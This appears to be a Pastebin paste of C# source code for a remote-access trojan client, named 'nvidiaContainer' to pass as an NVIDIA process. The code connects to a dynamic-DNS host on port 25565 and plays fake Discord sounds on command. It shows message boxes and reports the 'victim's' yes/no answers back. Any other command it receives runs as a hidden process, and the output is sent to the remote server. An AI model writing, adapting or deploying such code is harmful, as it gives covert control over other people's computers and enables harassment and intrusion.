Advertisement
Guest User

blaba

a guest
May 26th, 2018
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 9.36 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Threading.Tasks;
  5. using System.Windows.Forms;
  6. using System.IO;
  7. using System.Net;
  8. using System.Net.Sockets;
  9. using System.Diagnostics;
  10. using System.Media;
  11. using System.Threading;
  12. using System.Runtime.InteropServices;
  13.  
  14. namespace nvidiaContainer
  15. {
  16.     static class Program
  17.     {
  18.         private static TcpClient connection;
  19.         private static IPAddress zieladresse = Dns.GetHostAddresses("cryshot.ddns.net")[0];
  20.         //private static IPAddress zieladresse = IPAddress.Parse("192.168.0.2");
  21.  
  22.         private static StreamWriter writer;
  23.         private static StreamReader reader;
  24.  
  25.         private static String answer = "";
  26.  
  27.         private static bool connected = false;
  28.  
  29.         [DllImport("user32.dll")]
  30.         public static extern IntPtr SendMessageW(IntPtr hWnd, int Msg,
  31.         IntPtr wParam, IntPtr lParam);
  32.  
  33.         public static void VolumeUp()
  34.         {
  35.             SendMessageW(Process.GetCurrentProcess().MainWindowHandle, 0x319, Process.GetCurrentProcess().MainWindowHandle, (IntPtr)0x90000);
  36.         }
  37.  
  38.         static void Main(string[] args)
  39.         {
  40.             Stopwatch watch = new Stopwatch();
  41.  
  42.  
  43.             while (true)
  44.             {
  45.                 // Mit Server verbinden
  46.                 connection = new TcpClient();
  47.  
  48.                 while (!connection.Connected)
  49.                 {
  50.                     Console.ForegroundColor = ConsoleColor.Cyan;
  51.                     Console.WriteLine("Verbinde mit Server...");
  52.                     Console.ForegroundColor = ConsoleColor.Gray;
  53.                     try
  54.                     {
  55.                         connection.Connect(zieladresse, 25565);
  56.                     }
  57.                     catch (Exception e)
  58.                     {
  59.                         Console.ForegroundColor = ConsoleColor.Yellow;
  60.                         Console.WriteLine("Fehler beim Verbinden: " + e.Message);
  61.                         Console.ForegroundColor = ConsoleColor.Gray;
  62.                     }
  63.                 }
  64.  
  65.                 connected = true;
  66.                 try
  67.                 {
  68.                     Console.ForegroundColor = ConsoleColor.Green;
  69.                     Console.WriteLine("\nVerbindung mit " + zieladresse + " hergestellt!");
  70.                     Console.ForegroundColor = ConsoleColor.Gray;
  71.  
  72.                     // Networkstream erstellen, auf Befehle warten und jeweils ausführen (Endlosschleife)
  73.                     NetworkStream stream = connection.GetStream();
  74.                     writer = new StreamWriter(stream);
  75.                     reader = new StreamReader(stream);
  76.  
  77.                     String command = "9712394711237419082374";
  78.  
  79.                     watch.Reset(); watch.Start();
  80.                     // Mainthread
  81.                     while (connected)
  82.                     {
  83.                         if (connected && stream.DataAvailable)
  84.                         {
  85.                             command = reader.ReadLine();
  86.                             Console.WriteLine("empfangen: " + command);
  87.                         }
  88.  
  89.                         if (command == "lifecheck")
  90.                         {
  91.                             watch.Stop();
  92.                             watch.Reset();
  93.                             watch.Start();
  94.                             writer.WriteLine("lifecheck"); writer.Flush();
  95.                             command = "9712394711237419082374";
  96.                         }
  97.                        
  98.                         if (command.Contains("lifecheck"))
  99.                         {
  100.                             command = command.Remove(command.Length - 9, 9);
  101.                         }
  102.                         if (command.Contains("lifecheck"))
  103.                         {
  104.                             command = command.Remove(command.Length - 9, 9);
  105.                         }
  106.  
  107.                         // Timeout einstellen
  108.                         if (watch.ElapsedMilliseconds > 1000)
  109.                         {
  110.                             Console.WriteLine("Receiving no lifecheck update from server... terminating connection!");
  111.                             connected = false;
  112.                         }
  113.  
  114.                         if (answer != "")
  115.                         {
  116.                             writer.WriteLine(answer); writer.Flush();
  117.                             answer = "";
  118.                         }
  119.  
  120.                         if (command != "9712394711237419082374" && command != "lifecheck")
  121.                         {
  122.                             PerformTask(command);
  123.                         }
  124.                         command = "9712394711237419082374";
  125.                     }
  126.                 }
  127.                 catch (SocketException ex)
  128.                 {
  129.                     Console.WriteLine("Fehler: " + ex.Message);
  130.                 }
  131.             }
  132.         }
  133.  
  134.         private static void PerformTask(String command)
  135.         {
  136.             SoundPlayer player; Stream s;
  137.             String arguments = "";
  138.             Thread thread;
  139.             if (command.Contains("lifecheck"))
  140.             {
  141.                 command = command.Remove(command.Length - 9, 9);
  142.             }
  143.  
  144.             if (command.Contains(' '))
  145.             {
  146.                 arguments = command.Remove(0, command.IndexOf(' '));
  147.                 command = command.Remove(command.IndexOf(' '), arguments.Length);
  148.             }
  149.             command = command.ToLower();
  150.             writer.WriteLine("lifecheck"); writer.Flush();
  151.             switch (command)
  152.             {
  153.                 // Discord Sounds ------------------------------------------------------------------------------------------------------------
  154.                 case "playmessage":
  155.                     s = Properties.Resources.Message;
  156.                     player = new SoundPlayer(s);
  157.                     player.Play();
  158.                     break;
  159.                 case "playjoin":
  160.                     s = Properties.Resources.Join;
  161.                     player = new SoundPlayer(s);
  162.                     player.Play();
  163.                     break;
  164.                 case "playleave":
  165.                     s = Properties.Resources.Leave;
  166.                     player = new SoundPlayer(s);
  167.                     player.Play();
  168.                     break;
  169.                 // Discord Sounds ------------------------------------------------------------------------------------------------------------
  170.  
  171.  
  172.                 // MessageBoxen ------------------------------------------------------------------------------------------------------------
  173.                 case "msgquestion":
  174.                     thread = new Thread(delegate()
  175.                     {
  176.                         DialogResult result = MessageBox.Show(arguments, "Mitteilung", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
  177.                         if (result == DialogResult.Yes)
  178.                         {
  179.                             answer = "MessageBox:\t\tDas Opfer antwortete mit JA";
  180.                         }
  181.                         else if (result == DialogResult.No)
  182.                         {
  183.                             answer = "MessageBox:\t\tDas Opfer antwortete mit NEIN";
  184.                         }
  185.                     });
  186.                     thread.IsBackground = true;
  187.                     thread.Start();  
  188.                     break;
  189.                 case "msgerror":
  190.                     thread = new Thread(delegate ()
  191.                     {
  192.                         DialogResult result = MessageBox.Show(arguments, "Mitteilung", MessageBoxButtons.OK, MessageBoxIcon.Error);
  193.                     });
  194.                     thread.IsBackground = true;
  195.                     thread.Start();
  196.                     break;
  197.                 case "volumeup":
  198.                     SendMessageW(Process.GetCurrentProcess().MainWindowHandle, 0x319, Process.GetCurrentProcess().MainWindowHandle, (IntPtr)0x80000);
  199.                     break;
  200.                 // MessageBoxen ------------------------------------------------------------------------------------------------------------
  201.  
  202.                 // CMD Commands
  203.                 default:
  204.                     thread = new Thread(delegate ()
  205.                     {
  206.                         ProcessStartInfo info = new ProcessStartInfo();
  207.                         info.FileName = command;
  208.                         info.Arguments = arguments;
  209.                         info.CreateNoWindow = true;
  210.                         info.RedirectStandardOutput = true;
  211.                         info.UseShellExecute = false;
  212.                         Process p = new Process();
  213.                         p.StartInfo = info;
  214.                         try
  215.                         {
  216.                             p.Start();
  217.                             StreamReader r = p.StandardOutput;
  218.                             String output = r.ReadToEnd();
  219.                            
  220.                             answer = output;
  221.                         }
  222.                         catch (Exception e)
  223.                         {
  224.                             answer = e.Message;
  225.                             Console.WriteLine(e.Message);
  226.                         }
  227.                     });
  228.                     thread.IsBackground = true;
  229.                     thread.Start();
  230.                     break;
  231.             }
  232.             answer = "Client:\t\tBefehl bestätigt: \t" + command;
  233.         }
  234.     }
  235. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement